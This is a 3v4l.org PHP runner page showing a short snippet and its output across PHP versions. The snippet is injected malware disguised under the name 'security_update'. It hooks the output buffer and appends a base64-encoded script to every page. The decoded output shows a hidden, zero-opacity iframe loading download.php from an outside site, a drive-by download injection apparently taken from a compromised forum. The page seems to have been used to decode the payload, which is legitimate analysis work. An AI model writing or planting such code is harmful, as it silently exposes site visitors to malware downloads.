3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vc3Rqb2huc2RyeWRlbi5vcmcvaW1nL2NvbW1vbi9kb3dubG9hZC5waHAiPjwvaWZyYW1lPjwvZGl2PicpOzwvc2NyaXB0Pg==');}
Output for 4.3.0 - 5.6.28, hhvm-3.12.0, 7.0.0 - 7.1.0
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://stjohnsdryden.org/img/common/download.php"></iframe></div>');</script>
Output for hhvm-3.10.0

Process exited with code 153.